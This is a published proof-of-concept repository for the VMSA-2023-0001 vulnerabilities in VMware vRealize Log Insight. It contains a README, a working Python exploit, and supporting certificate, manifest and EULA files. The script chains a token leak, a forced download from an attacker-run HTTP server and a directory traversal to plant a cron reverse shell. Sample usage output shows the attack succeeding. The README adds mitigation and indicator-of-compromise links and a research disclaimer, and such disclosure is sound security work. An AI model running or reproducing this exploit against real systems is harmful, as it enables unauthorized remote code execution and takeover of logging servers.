🤬
  • ■ ■ ■ ■ ■ ■
    README.md
     1 +# VMSA-2023-0001
     2 +POC for VMSA-2023-0001 affecting VMware vRealize Log Insight which includes the following CVEsl:
     3 +* VMware vRealize Log Insight Directory Traversal Vulnerability (CVE-2022-31706)
     4 +* VMware vRealize Log Insight broken access control Vulnerability (CVE-2022-31704)
     5 +* VMware vRealize Log Insight contains an Information Disclosure Vulnerability (CVE-2022-31711)
     6 + 
     7 +The default configuration of this vulnerability writes a cron job to create a
     8 +reverse shell. Be sure to change the `payload` file to suite your environment.
     9 + 
     10 +## Technical Analysis
     11 +A technical root cause analysis of the vulnerability can be found on our blog:
     12 +https://www.horizon3.ai/vmware-vrealize-log-insight-vmsa-2023-0001-technical-deep-dive
     13 + 
     14 +## Indicators of Compromise
     15 +For analyzing Log Insight instances for indicators of compromise check out our IOC blog:
     16 +https://www.horizon3.ai/vmware-vrealize-cve-2022-31706-iocs/
     17 + 
     18 +## Summary
     19 +This POC abuses the various Thrift RPC endpoints to achieve an arbitrary file write.
     20 + 
     21 +## Usage
     22 +```plaintext
     23 +$ python3 VMSA-2023-0001.py --target_address 192.168.4.133 --http_server_address 192.168.4.60 --http_server_port 8080 --payload_file payload --payload_path /etc/cron.d/exploit
     24 +[+] Using CVE-2022-31711 to leak node token
     25 +[+] Found node token: f261d2f5-71fa-45fd-a0a0-6114a55a8fb8
     26 +[+] Using CVE-2022-31704 to trigger malicious file download
     27 +192.168.4.133 - - [30/Jan/2023 16:43:41] "GET /exploit.tar HTTP/1.1" 200 -
     28 +[+] File successfully downloaded
     29 +[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell
     30 +[+] Payload successfully delivered
     31 +```
     32 + 
     33 +## Troubleshooting
     34 +If using a cron based payload, make sure the payload file has the appropriate
     35 +permissions and owner:
     36 +```shell
     37 +sudo chown root:root payload
     38 +```
     39 +```shell
     40 +sudo chmod 0644 payload
     41 +```
     42 + 
     43 +## Mitigations
     44 +Update to the latest version or mitigate by following the instructions within the VMSA
     45 +https://www.vmware.com/security/advisories/VMSA-2023-0001.html
     46 + 
     47 +## Follow the Horizon3.ai Attack Team on Twitter for the latest security research:
     48 +* [Horizon3 Attack Team](https://twitter.com/Horizon3Attack)
     49 +* [James Horseman](https://twitter.com/JamesHorseman2)
     50 +* [Zach Hanley](https://twitter.com/hacks_zach)
     51 + 
     52 +## Disclaimer
     53 +This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.
     54 + 
     55 + 
  • ■ ■ ■ ■ ■ ■
    VMSA-2023-0001.py
     1 +import argparse
     2 +import os
     3 +import sys
     4 +import http.server
     5 +import tarfile
     6 +import queue
     7 +import tempfile
     8 +import threading
     9 +import re
     10 + 
     11 +sys.path.append("gen-py")
     12 +from loginsight import DaemonCommands
     13 +from loginsight.ttypes import *
     14 +from thrift.transport import TSocket
     15 +from thrift.transport import TTransport
     16 +from thrift.protocol import TBinaryProtocol
     17 + 
     18 +def parse_args():
     19 + parser = argparse.ArgumentParser()
     20 + parser.add_argument("--target_address", required=True, help="Target IP address of VMware vRealize Log Insight")
     21 + parser.add_argument("--target_port", type=int, default=16520, help="Target Thrift port")
     22 + parser.add_argument("--http_server_address", required=True, help="Local IP address to use for HTTP payload sever")
     23 + parser.add_argument("--http_server_port", required=True, help="Port to use for local HTTP payload server")
     24 + parser.add_argument("--payload_file", required=True, help="File from which to read the payload contents")
     25 + parser.add_argument("--payload_path", required=True, help="Full file system path where payload should be written")
     26 + return parser.parse_args()
     27 + 
     28 + 
     29 +def create_malicious_tar(payload, payload_path):
     30 + with tarfile.open("exploit.tar", 'w') as malicious_tar:
     31 + # Just use 'fr_eula.txt` for files where we don't care about
     32 + # the content. It is important that we don't use the actual context
     33 + # so a real upgrade doesn't happen
     34 + for arcname in ['upgrade-image-8.10.2-21145187.rpm', 'upgrade-driver', 'eula.txt']:
     35 + malicious_tar.add('fr_eula.txt', arcname=arcname)
     36 + 
     37 + # Add the files where we want the same content
     38 + for arcname in ['VMware-vRealize-Log-Insight.cert', 'VMware-vRealize-Log-Insight.mf']:
     39 + malicious_tar.add(arcname, arcname=arcname)
     40 + 
     41 + # Add our payload
     42 + malicious_tar.add(payload, ("../../" + payload_path).replace("//", "/"))
     43 + 
     44 + 
     45 +def remote_pak_download(client, node_token, http_server_address, http_server_port):
     46 + command = Command()
     47 + command.commandType = 9
     48 + 
     49 + download_command = RemotePakDownloadCommand()
     50 + download_command.sourceNodeToken = node_token
     51 + # The remote system does not return an error if this url is incorrect.
     52 + # It just silently fails
     53 + download_command.requestUrl = f"http://{http_server_address}:{http_server_port}/exploit.tar"
     54 + download_command.fileName = "exploit"
     55 + 
     56 + command.remotePakDownloadCommand = download_command
     57 + 
     58 + command_with_timeout = CommandWithTimeout()
     59 + command_with_timeout.command = command
     60 + command_with_timeout.timeoutMillis = 2000
     61 + with http.server.HTTPServer((http_server_address, int(http_server_port)), http.server.SimpleHTTPRequestHandler) as httpd:
     62 + def send_remote_pak_download_command(client, command, q):
     63 + q.put(client.runCommand(command))
     64 + 
     65 + q = queue.Queue()
     66 + client_thread = threading.Thread(
     67 + target=send_remote_pak_download_command,
     68 + args=(client, command_with_timeout, q))
     69 + client_thread.start()
     70 + httpd.handle_request()
     71 + client_thread.join()
     72 + response = q.get()
     73 + if response.commandHandle.error is not None:
     74 + raise Exception(f"Unable to initiate remote pak download: {response.commandHandle.error}")
     75 + 
     76 + 
     77 +def pak_upgrade(client):
     78 + command = Command()
     79 + command.commandType = 8
     80 + 
     81 + pak_upgrade_command = PakUpgradeCommand()
     82 + pak_upgrade_command.fileName = "exploit.pak"
     83 + pak_upgrade_command.eulaOnly = False
     84 + pak_upgrade_command.outputFile = "hello"
     85 + pak_upgrade_command.outputOnly = False
     86 + pak_upgrade_command.locale = "eng"
     87 + pak_upgrade_command.forceInstall = False
     88 + 
     89 + command.pakUpgradeCommand = pak_upgrade_command
     90 + 
     91 + command_with_timeout = CommandWithTimeout()
     92 + command_with_timeout.command = command
     93 + command_with_timeout.timeoutMillis = 2000
     94 + response = client.runCommand(command_with_timeout)
     95 + if not "The PAK file is corrupted" in response.commandStatus.exitedCommandStatus.lastStatusUpdate.statusMessage:
     96 + print(response.commandStatus.exitedCommandStatus.lastStatusUpdate.statusMessage)
     97 + raise Exception("Failed to trigger directory traversal")
     98 + 
     99 + 
     100 +def get_node_token(client):
     101 + config_response = client.getConfig(GetConfigRequest())
     102 + 
     103 + node_type = client.getNodeType()
     104 + if node_type == StrataNodeType.STANDALONE:
     105 + # TODO use health status instead
     106 + regex = re.compile(r'token=\"([^\"]*)')
     107 + match = regex.search(config_response.configBlob)
     108 + if not match:
     109 + raise Exception("Unable to find token in config")
     110 + return match.group(1)
     111 + elif node_type == StrataNodeType.WORKER:
     112 + print("Worker node, getting master token")
     113 + # TODO test
     114 + return config_response.masterToken
     115 + else:
     116 + raise Exception("Unknown node type")
     117 + 
     118 + 
     119 +def main():
     120 + args = parse_args()
     121 + # Add payload
     122 + create_malicious_tar(args.payload_file, args.payload_path)
     123 + 
     124 + trans = TSocket.TSocket(args.target_address, int(args.target_port))
     125 + trans = TTransport.TFramedTransport(trans)
     126 + proto = TBinaryProtocol.TBinaryProtocol(trans)
     127 + client = DaemonCommands.Client(proto)
     128 + 
     129 + trans.open()
     130 + 
     131 + print("[+] Using CVE-2022-31711 to leak node token")
     132 + node_token = get_node_token(client)
     133 + print(f"[+] Found node token: {node_token}")
     134 + 
     135 + print("[+] Using CVE-2022-31704 to trigger malicious file download")
     136 + remote_pak_download(
     137 + client,
     138 + node_token,
     139 + args.http_server_address,
     140 + args.http_server_port
     141 + )
     142 + print("[+] File successfully downloaded")
     143 + 
     144 + print("[+] Using CVE-2022-31706 to trigger directory traversal and write cron reverse shell")
     145 + pak_upgrade(client)
     146 + print("[+] Payload successfully delivered")
     147 + 
     148 + trans.close()
     149 + 
     150 + 
     151 +if __name__ == "__main__":
     152 + main()
     153 + 
  • ■ ■ ■ ■ ■ ■
    VMware-vRealize-Log-Insight.cert
     1 +SHA1(VMware-vRealize-Log-Insight.mf)= 9869831f4522f9aaaf2f71b54267c487a20c0d46f4dc884b56a2c77ea971aabd2839a39b22b0a864fa1825c7a637f25c85b99cfb9bf528990b7692cc5d526398fa6000809a94baaf9edcf20fab919f866014745bbf0a2cabadd76b8b6ec0ef862b803039021a4ebed2632bdecf2b77c60389e31f093ad010abeb33de1e95e59cb66a15c019b35453d71484e13f728fa74736bbe4cde37feddacef021feb0023b052ca00dd4563f4424e6387c33ffa166fb0331581a3889be4f2515512f1f15ea5d56aa43fe6a8d9b347b242edf2276eba7b055b8463f1151eab84d97d4d58bef4708080dbf0b96d4783ca8b596467a8965b91c2fddf1da549c0df34aa457f776
     2 +-----BEGIN CERTIFICATE-----
     3 +MIIDyzCCArOgAwIBAgIJAKH7xLtwMqSZMA0GCSqGSIb3DQEBBQUAME0xCzAJBgNV
     4 +BAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYDVQQHEwlQYWxvIEFsdG8x
     5 +FTATBgNVBAoTDFZNd2FyZSwgSW5jLjAeFw0xMDAyMjYyMjE3NDFaFw0yNjAxMDMy
     6 +MjE3NDFaME0xCzAJBgNVBAYTAlVTMRMwEQYDVQQIEwpDYWxpZm9ybmlhMRIwEAYD
     7 +VQQHEwlQYWxvIEFsdG8xFTATBgNVBAoTDFZNd2FyZSwgSW5jLjCCASAwDQYJKoZI
     8 +hvcNAQEBBQADggENADCCAQgCggEBALU9NUtC39fqG7yo2XAswUmtli9uA+31uAMw
     9 +9FFHAEv/it8pzBQZ/4r+2bN+GnXOWhuDd1K4ApKMRvoO4LwQfZxrkx4pXrsu0gdb
     10 +4OunHw0D8MrdzSoob8Js/uq+IJ+8Bhsc6b7RzTUt9HeDWzHasAJVgMsjehGt23ay
     11 +9FKOT6dVD6D/Xi3qJnB/4t/XNS6L63dC3ea4guzKDyLaXIP5bf/m56jvVImFjhhT
     12 +W2ASbnEUlZIVrEuyVcdG7e3FvZufE553JmHL0YG/0m5bIHXKRzBRx0D3HHOAzOKw
     13 +kkOnxJHSTN4Hz8hSYCWvzUAjSYL3Q8qiTd7GHJ2ynsRnu3KlzKUCAQOjga8wgaww
     14 +HQYDVR0OBBYEFHg8KQJdm8NPQDmYP41uEgKG+VNwMH0GA1UdIwR2MHSAFHg8KQJd
     15 +m8NPQDmYP41uEgKG+VNwoVGkTzBNMQswCQYDVQQGEwJVUzETMBEGA1UECBMKQ2Fs
     16 +aWZvcm5pYTESMBAGA1UEBxMJUGFsbyBBbHRvMRUwEwYDVQQKEwxWTXdhcmUsIElu
     17 +Yy6CCQCh+8S7cDKkmTAMBgNVHRMEBTADAQH/MA0GCSqGSIb3DQEBBQUAA4IBAQCP
     18 +nVEBVF2jYEsgaTJ1v17HNTVTD5pBPfbQk/2vYVZEWL20PtJuLeSWwoo5+TnCSp69
     19 +i9n1Hpm9JWHjyb1Lba8Xx7VC4FferIyxt0ivRm9l9ouo/pQAR8xyqjTg1qfr5V8S
     20 +fZElKbjpzSMPrxLwF77h+YB+YjqWAJpVV+fAkAvK7K9vMiFgW60teZBxVW/XlmG0
     21 +IJaSUWSI3/A+bA6fuIy8PMmpQMtm0droHrCnViAVRhMMgEC/doMH1GqUSmoiyQ1G
     22 +PifLAp5wV5/HV+S9AGrb8HGdWIvW+kBgmCl0wSf2JFYm1bpq30CVE4EC0MAY1mJG
     23 +vSqQGIbCybw5KTCXRQ8d
     24 +-----END CERTIFICATE-----
     25 + 
  • ■ ■ ■ ■ ■ ■
    VMware-vRealize-Log-Insight.mf
     1 +{
     2 + "CHECKSUMS": [
     3 + {
     4 + "CHECKSUM": "407791f5831c4f5321cda36ff2e3b63da2819354",
     5 + "FILE_NAME": "eula.txt"
     6 + },
     7 + {
     8 + "CHECKSUM": "8ab2c0a6d01a36d0daad230dbcb229f1b87154e6",
     9 + "FILE_NAME": "cn_eula.txt"
     10 + },
     11 + {
     12 + "CHECKSUM": "8ca69bdc2ddda5228e893c4843d9f4afc0790247",
     13 + "FILE_NAME": "de_eula.txt"
     14 + },
     15 + {
     16 + "CHECKSUM": "4278004a1f2a7a3f2d9310983679868ebe19e088",
     17 + "FILE_NAME": "es_eula.txt"
     18 + },
     19 + {
     20 + "CHECKSUM": "95280fd7033b59094703a29cc5d6ff803c5725af",
     21 + "FILE_NAME": "fr_eula.txt"
     22 + },
     23 + {
     24 + "CHECKSUM": "f8ee67f279b7f56c953daa737bbbaad3f0cb719d",
     25 + "FILE_NAME": "ja_eula.txt"
     26 + },
     27 + {
     28 + "CHECKSUM": "aaa14f774fc9fe487ae8fea59adfca532928f4a2",
     29 + "FILE_NAME": "ko_eula.txt"
     30 + },
     31 + {
     32 + "CHECKSUM": "d7003b652dd28d28af310c652e2a164acaf17580",
     33 + "FILE_NAME": "tw_eula.txt"
     34 + },
     35 + {
     36 + "CHECKSUM": "b0034c7f14876be3b6a85bde0322c83b78027d70",
     37 + "FILE_NAME": "upgrade-driver"
     38 + },
     39 + {
     40 + "CHECKSUM": "b906d570101d29646966435d2bed8479f4437216",
     41 + "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm"
     42 + }
     43 + ],
     44 + "FROM_VERSION": "8.8.0-0",
     45 + "REQUIRED_SPACE": "1073741824",
     46 + "RPM_INFO": {
     47 + "KEY_LIST": [],
     48 + "REBOOT": "False",
     49 + "RPM_LIST": [
     50 + {
     51 + "ARGUMENTS": [
     52 + "--nodeps"
     53 + ],
     54 + "FILE_NAME": "upgrade-image-8.10.2-21145187.rpm",
     55 + "OPTION": "INSTALL_OR_UPGRADE"
     56 + }
     57 + ]
     58 + },
     59 + "TO_VERSION": "8.10.2-21145187"
     60 +}
  • ■ ■ ■ ■ ■ ■
    fr_eula.txt
     1 +CONDITIONS GÉNÉRALES DE VMWARE
     2 +Dernière mise à jour : 16 juin 2022
     3 +En téléchargeant ou en utilisant une Offre, le Client accepte d'être lié
     4 +par les dispositions du Contrat.
     5 +1. OFFRES.
     6 +1.1. Conditions applicables. Les conditions de la Commande et les présentes
     7 +Conditions Générales, y compris les Annexes et Avis relatifs aux Offres
     8 +applicables (collectivement, le « Contrat ») régissent l'utilisation des Offres
     9 +par le Client. L'ordre de priorité décroissant suivant s'applique : (a) la
     10 +Commande ; (b) les Conditions Générales ; (c) les Annexes ; et (d) les Avis
     11 +relatifs aux Offres.
     12 +1.2. Utilisateurs. Le Client est responsable du respect du Contrat par ses
     13 +Utilisateurs.
     14 +1.3. Restrictions. Le Client peut utiliser les Offres uniquement pour son
     15 +usage interne et pour le bénéfice de ses Affiliés. Les Affiliés ne peuvent
     16 +pas utiliser les Offres. Le Client ne peut pas revendre ses droits sur des
     17 +Offres ni concéder des sous-licences sur celles-ci. Le Client ne peut pas
     18 +utiliser les Offres en tant que fournisseur de services applicatifs, bureau
     19 +de services, service informatique hébergé ou dans une capacité semblable
     20 +pour des tiers.
     21 +1.4. Évaluation. Le Client peut utiliser les Offres pour effectuer des tests de
     22 +performance en interne ainsi que des études d'évaluation. Le Client ne peut
     23 +publier ou distribuer des résultats d'étude qu'avec l'accord de VMware. Le
     24 +Client peut adresser des demandes à VMware en envoyant un e-mail à
     25 +[email protected].
     26 +1.5. Evaluations. Les Evaluations ont une durée de 30 jours (sauf mention
     27 +écrite différente de VMware). Le Client ne peut pas avoir accès aux données
     28 +de l'Evaluation une fois celle-ci terminée. Les Evaluations sont fournies
     29 +« EN L'ETAT » sans indemnisation, assistance, engagement de niveau de service
     30 +ou garantie de quelque nature que ce soit, explicite ou implicite.
     31 +2. COMMANDES ET PAIEMENTS.
     32 +2.1. Commandes. Les Commandes sont opposables aux parties lorsque VMware
     33 +les accepte, ce qui est réputé avoir lieu à la Livraison.
     34 +2.2. Bons de commande. Les bons de commande n'ont pas besoin d'être signés
     35 +pour être valides. Les conditions contenues dans un bon de commande ou un
     36 +autre formulaire commercial ne s'appliquent pas.
     37 +2.3. Absence de remboursement. Toutes les Commandes sont non remboursables
     38 +et non annulables sauf si cela est explicitement prévu dans le Contrat.
     39 +2.4. Dépassements. Le Client doit payer toutes les redevances d'utilisation
     40 +des Offres, y compris les montants associés aux fonctionnalités
     41 +complémentaires et les frais occasionnés par l'utilisation. VMware peut
     42 +facturer les frais de compteur ou de dépassement directement au Client, même
     43 +si ce dernier a initialement acheté les Offres par le biais d'un revendeur
     44 +agréé VMware.
     45 +2.5. Commandes directes. Cet article 2.5 (Commandes directes) s'applique
     46 +uniquement aux Commandes passées directement à VMware. Si le Client achète
     47 +des droits à des Offres par l'intermédiaire d'un revendeur agréé VMware,
     48 +différentes conditions en matière de facturation, paiement et taxes peuvent
     49 +s'appliquer.
     50 +2.5.1. Paiements. Sauf si autrement précisé dans une Commande, les frais
     51 +relatifs aux Offres seront régis par la liste des tarifs applicable au moment
     52 +de la facturation. Le Client doit payer tous les frais non contestés et les
     53 +dépenses approuvées dans les 30 jours suivant la date de la facture. Après
     54 +30 jours, des intérêts s'accumuleront au taux de 1,5 % par mois ou au taux
     55 +légal le plus élevé, selon le moins élevé des deux.
     56 +2.5.2. Litiges. Pour contester des redevances de bonne foi, le Client doit
     57 +informer VMware par écrit des motifs du litige avant la date d'échéance du
     58 +paiement. Les parties doivent négocier de bonne foi afin de résoudre le conflit
     59 +dès que cela est raisonnablement possible. VMware n'interrompra pas ou ne
     60 +résiliera pas l'accès du Client à une Offre, quelle qu'elle soit, pour cause
     61 +de frais non payés faisant l'objet d'un litige pendant que le Client et
     62 +VMware négocient pour résoudre le litige.
     63 +2.5.3. Taxes. Les taxes ne sont pas incluses dans les frais. Le Client doit
     64 +payer toutes les taxes ou les rembourser à VMware. Si le Client est tenu de
     65 +retenir des taxes, il doit majorer ses paiements afin que VMware reçoive tous
     66 +les montants dans leur intégralité. Si l'adresse du client est sise en dehors
     67 +des États-Unis, VMware considèrera l'adresse de facturation du Client comme
     68 +le lieu de livraison à des fins de TVA.
     69 +3. DURÉE.
     70 +3.1. Durée. Le Contrat s'applique aux Offres à partir de la date d'entrée
     71 +en vigueur de la Commande et jusqu'à la résiliation du droit du Client sur
     72 +les Offres comme indiqué dans le présent Contrat.
     73 +3.2. Suspension provisoire. En cas de risque pour la sécurité d'un Service ou
     74 +de ses utilisateurs, VMware pourra suspendre l'utilisation de ce Service par
     75 +le Client.
     76 +3.3. Résiliation motivée. L'une ou l'autre partie peut résilier le Contrat
     77 +(en totalité ou en partie) ou le droit du Client à une Offre en vertu du
     78 +contrat avec effet immédiat par notification écrite si l'autre partie : (a)
     79 +enfreint de manière substantielle une disposition, quelle qu'elle soit, du
     80 +Contrat et n'y remédie pas dans les 30 jours suivant la réception d'un avis
     81 +écrit ; ou (b) devient insolvable ou fait l'objet d'une procédure de
     82 +déclaration de faillite.
     83 +3.4. Effet de la résiliation. À la résiliation du Contrat, dans sa totalité ou
     84 +en partie : (a) tous les droits sur les Offres applicables prennent
     85 +immédiatement fin ; (b) le Client doit cesser d'utiliser ces Offres et en
     86 +détruire toutes les copies ; et (c) chaque partie doit restituer ou détruire
     87 +toute Information confidentielle de l'autre partie qu'il contrôle (autres
     88 +que les informations que la loi impose de conserver). Toute disposition
     89 +dont les parties entendent qu'elles demeurent en vigueur après la résiliation
     90 +du Contrat demeureront en vigueur.
     91 +4. INFORMATIONS CONFIDENTIELLES.
     92 +4.1. Protection. Le Destinataire doit protéger les Informations Confidentielles
     93 +du Divulgateur au moins aussi soigneusement qu'il protège ses propres
     94 +Informations Confidentielles, avec un soin raisonnable qui n'est pas moindre.
     95 +Le Destinataire ne doit pas utiliser les Informations Confidentielles du
     96 +Divulgateur, sauf pour exercer ses droits et remplir ses obligations en vertu du
     97 +Contrat. Le Destinataire peut uniquement divulguer les Informations
     98 +Confidentielles aux Affiliés, employés et prestataires du Destinataire qui ont
     99 +besoin de connaître les Informations Confidentielles aux fins du Contrat et
     100 +qui sont soumis à un devoir de confidentialité au moins aussi restrictif que
     101 +celui dans cet article 4 (Informations Confidentielles).
     102 +4.2. Exceptions. Les obligations du Destinataire en vertu de l'article 4.1
     103 +(Protection) ne s'appliquent pas si les informations : (a) sont licitement
     104 +connues par le Destinataire au moment de la divulgation sans aucune obligation
     105 +de confidentialité ; (b) sont légalement divulguées au Destinataire par un
     106 +tiers sans restrictions de confidentialité ; (c) deviennent publiquement
     107 +disponibles sans que le Destinataire ne soit en cause ; ou (d) sont développées
     108 +de façon indépendante par le Destinataire sans accès à, ou utilisation, des
     109 +Informations Confidentielles du Divulgateur.
     110 +4.3. Mesure injonctive. Rien dans le présent Contrat ne limite le droit d'une
     111 +partie à demander une réparation équitable en cas de violation du présent
     112 +article 4 (Informations Confidentielles).
     113 +5. PROPRIÉTÉ.
     114 +5.1. Contenu du Client. Le Client conserve tous les Droits de propriété
     115 +intellectuelle relatifs au Contenu du Client.
     116 +5.2. Propriété Intellectuelle de VMware. VMware conserve tous les Droits de
     117 +Propriété Intellectuelle sur les Offres, y compris toute amélioration,
     118 +optimisation, modification et œuvre dérivée. Si le Client fournit des avis
     119 +sur les Offres, VMware pourra utiliser ces avis sans restriction.
     120 +5.3. Réserve de droits. Excepté comme expressément indiqué dans le Contrat,
     121 +le présent Contrat n'accorde à aucune partie des droits, implicites ou autres,
     122 +quels qu'ils soient, sur le contenu ou la propriété intellectuelle de
     123 +l'autre partie.
     124 +6. GARANTIES LIMITÉES.
     125 +6.1. Progiciel et Services Cloud. VMware garantit que le Progiciel et les
     126 +Services Cloud se conformeront substantiellement à la Documentation : (a) en
     127 +ce qui concerne le Progiciel, pendant 90 jours suivant la Livraison ; ou (b) pour
     128 +les Services Cloud, pendant la Durée d'Abonnement. Le Client doit
     129 +correctement installer et utiliser les Offres sans modification et conformément
     130 +à la Documentation. Le Client doit informer VMware de toute violation
     131 +présumée de cette garantie pendant la période de garantie applicable. À titre
     132 +d'unique recours pour le Client en cas de violation de cette garantie, VMware
     133 +devra soit : (1) corriger toute erreur reproductible dans le Progiciel ou le
     134 +Service Cloud ; soit (2) résilier le Progiciel ou le Service Cloud et rembourser
     135 +les redevances de licence applicables (pour le Progiciel) ou les frais prépayés
     136 +inutilisés (pour les Services Cloud).
     137 +6.2. Services Professionnels et Services de Support. VMware garantit que les
     138 +Services Professionnels et les Services de Support seront exécutés de manière
     139 +professionnelle dans le respect des normes du secteur. Le Client doit informer
     140 +VMware dans les 30 jours suivant une violation présumée de cette garantie.
     141 +À titre d'unique recours pour le Client en cas de manquement à cette garantie,
     142 +VMware doit soit : (a) rectifier le manquement ; soit (b) résilier le service
     143 +applicable et rembourser tous les frais prépayés inutilisés pour ce service.
     144 +6.3. Limitations des garanties. Sauf en ce qui concerne les garanties limitées
     145 +dans cet article 6 (Garanties limitées), dans toute la mesure permise par la
     146 +loi, VMware, pour lui-même et au nom de ses fournisseurs, rejette toutes
     147 +garanties et conditions, qu'elles soient explicites, implicites ou
     148 +réglementaires, y compris toute garantie de qualité marchande, de qualité
     149 +satisfaisante, d'adéquation à un usage particulier, de titre, de
     150 +non-contrefaçon et toute garantie découlant d'une transaction ou d'une
     151 +exécution en relation avec les Offres. Ni VMware ni ses fournisseurs ne
     152 +garantissent que les Offres fonctionneront sans interruption, qu'elles
     153 +seront exemptes de défauts ou d'erreurs, ou qu'elles répondront (ou
     154 +qu'elles sont destinées à répondre) aux exigences du Client.
     155 +7. INDEMNISATION.
     156 +7.1. Défense et Indemnisation. Sous réserve du reste du présent article 7
     157 +(Indemnisation), VMware : (a) défendra le Client contre toute Action en
     158 +Contrefaçon ; et (b) indemnisera le Client pour tout montant finalement
     159 +accordé à son encontre par un tribunal compétent ou une agence
     160 +gouvernementale, ou convenu dans le cadre d'un règlement, en relation
     161 +avec l'Action en Contrefaçon.
     162 +7.2. Exigences. Le Client doit informer VMware sans retard en cas d'Action en
     163 +Contrefaçon et coopérer raisonnablement avec les demandes d'assistance de
     164 +VMware. VMware aura le contrôle total de la défense et du règlement de
     165 +l'Action en Contrefaçon.
     166 +7.3. Exclusions. Aux termes du présent article 7(Indemnisation), VMware n'a
     167 +aucune obligation dans le cas d'une Action en Contrefaçon basée sur : (a)
     168 +une combinaison de Supports Indemnisés et de supports autres que ceux de
     169 +VMware ; (b) l'utilisation d'une ancienne version de Supports Indemnisés
     170 +lorsque l'utilisation d'une version plus récente aurait évité la
     171 +contrefaçon ; (c) toute modification des Supports Indemnisés autres que
     172 +ceux fabriqués par VMware ; (d) tout Livrable fourni par VMware conformément
     173 +aux spécifications du Client ; (e) toute réclamation se rapportant à un
     174 +logiciel libre ou à une technologie de logiciel gratuit qui n'est pas
     175 +intégré(e) aux Offres par VMware ; ou (f) tout Support Indemnisé fourni
     176 +sur la base d'une version sans frais, bêta ou d'évaluation.
     177 +7.4. Recours. Si les Supports Indemnisés font, ou sont susceptibles de
     178 +faire, de l'avis de VMware, l'objet d'une Action en Contrefaçon, VMware
     179 +doit, selon son choix et à ses frais : (a) fournir au Client les droits
     180 +nécessaires pour continuer à utiliser les Supports Indemnisés ; ou (b)
     181 +modifier ou remplacer les Supports Indemnisés pour qu'ils ne portent plus
     182 +atteinte au droit d'auteur. Si ces recours ne sont pas commercialement viables,
     183 +VMware pourra résilier le droit du Client sur les Supports Indemnisés et
     184 +rembourser tous les éléments suivants qui s'appliquent :
     185 +(1) les frais prépayés pour les Services Cloud ou le Progiciel par abonnement,
     186 +au prorata de la portion restante de la durée de l'Abonnement alors en vigueur ;
     187 +(2) les frais payés pour des Licences perpétuelles ou Livrables, moins
     188 +l'amortissement linéaire sur une durée de vie utile de trois ans ; et
     189 +(3) les frais prépayés inutilisés pour les Services de Support interrompus.
     190 +7.5. Unique recours. Cet article 7 (Indemnisation) déclare l'unique recours du
     191 +Client et la responsabilité entière de VMware pour les Actions en Contrefaçon.
     192 +8. LIMITATION DE RESPONSABILITÉ.
     193 +8.1. Clause de non-responsabilité. Dans toutes les limites permises par la loi,
     194 +aucune des parties ne sera responsable de la perte de bénéfices ou
     195 +d'opportunités commerciales, perte d'utilisation, perte de données, perte de
     196 +renommée, interruption d'activité ou de tout dommage indirect, spécial,
     197 +accessoire ou consécutif en vertu de quelque théorie de responsabilité
     198 +qu'elle soit. Cette limitation s'appliquera qu'une partie ait été avertie
     199 +ou non de la possibilité de tels dommages et que le recours atteigne ou
     200 +non son objectif principal.
     201 +8.2. Plafonnement de la responsabilité financière. La responsabilité cumulée
     202 +de chaque partie aux termes du présent Contrat ne pourra pas dépasser les
     203 +sommes payées ou payables par le Client pour l'Offre donnant lieu à la
     204 +réclamation dans les 12 mois précédant l'événement à l'origine de
     205 +l'action, sauf en ce qui concerne les Licences perpétuelles pour lesquelles
     206 +la responsabilité cumulée de chaque partie ne pourra pas excéder les frais
     207 +de licence payés pour le Progiciel à l'origine de l'action. La
     208 +responsabilité cumulée de VMware pour une Évaluation ne pourra pas
     209 +excéder 5 000 USD.
     210 +8.3. Exclusions. Les limitations de responsabilité présentées dans les
     211 +articles 8.1 (Clause de non-responsabilité) et 8.2 (Plafonnement de la
     212 +responsabilité financière) ne s'appliqueront pas aux éléments suivants :
     213 +(a) obligations d'indemnisation de VMware en vertu de l'article 7
     214 +(Indemnisation) ; (b) la violation par une partie des Droits de propriété
     215 +intellectuelle de l'autre partie ; (c) la violation par le Client de l'article 
     216 +2 de l'Annexe relative aux Services Cloud (Utilisation acceptable) ; ou
     217 +toute responsabilité ne pouvant pas être limitée par la loi.
     218 +8.4. Autres limitations. La responsabilité de VMware pour tout logiciel tiers
     219 +intégré au Progiciel ou aux Services Cloud est assujettie au présent article
     220 +8 (Limitation de responsabilité). Les fournisseurs de VMware n'ont aucune
     221 +responsabilité aux termes du présent Contrat et le Client ne peut intenter
     222 +aucune action à leur encontre. VMware n'a aucune responsabilité en ce qui
     223 +concerne un Contenu de tiers, quel qu'il soit.
     224 +9. UTILISATION DES DONNÉES ET CONFIDENTIALITÉ.
     225 +9.1. Données Personnelles. Si VMware agit en tant que responsable du traitement
     226 +des Données Personnelles, VMware traitera les Données Personnelles
     227 +conformément à l'Avenant sur le traitement des données.
     228 +9.2. Données de compte, d'opérations et d'utilisation. VMware recueille les
     229 +informations de contact et d'achat du Client afin de gérer le compte du
     230 +Client et de remplir les Commandes. VMware traite également : (a) des
     231 +informations nécessaires pour faciliter la fourniture et l'exploitation des
     232 +Offres, vérifier la conformité avec les conditions du Contrat, facturer et
     233 +fournir des Services de Support ; et (b) des données de configuration, de
     234 +performance et d'utilisation afin d'améliorer les produits et services VMware,
     235 +et à d'autres fins d'analyse détaillées dans les Avis relatifs aux Offres.
     236 +Dans la mesure où n'importe lesquelles de ces informations incluent des
     237 +informations qui identifient une personne spécifique, VMware traitera ces
     238 +informations conformément à l'Avis de confidentialité des produits et
     239 +services de VMware disponible sur la page www.vmware.com/fr/help/privacy.html.
     240 +9.3. Demandes de support et Services professionnels. Il incombe au Client de
     241 +prendre les mesures nécessaires pour protéger toute information sensible ou
     242 +Donnée Personnelle qu'il fournit à VMware lorsqu'il reçoit des Services de
     243 +Support ou des Services Professionnels. Ces mesures peuvent inclure
     244 +l'obscurcissement ou la suppression de ces informations ou la collaboration
     245 +avec VMware au moment de l'envoi afin de limiter la divulgation.
     246 +9.4. Exigences de divulgation. VMware peut divulguer le Contenu du Client ou
     247 +des Informations Confidentielles si VMware y est contraint par la loi ou par
     248 +ordre d'un organisme judiciaire ou administratif compétent (une
     249 +« Injonction »). Sauf s'il a l'interdiction légale de le faire, VMware doit en
     250 +informer le Client et lui fournir une copie de l'Injonction. Si l'Injonction
     251 +concerne les Services Cloud, VMware doit (i) informer l'autorité compétente
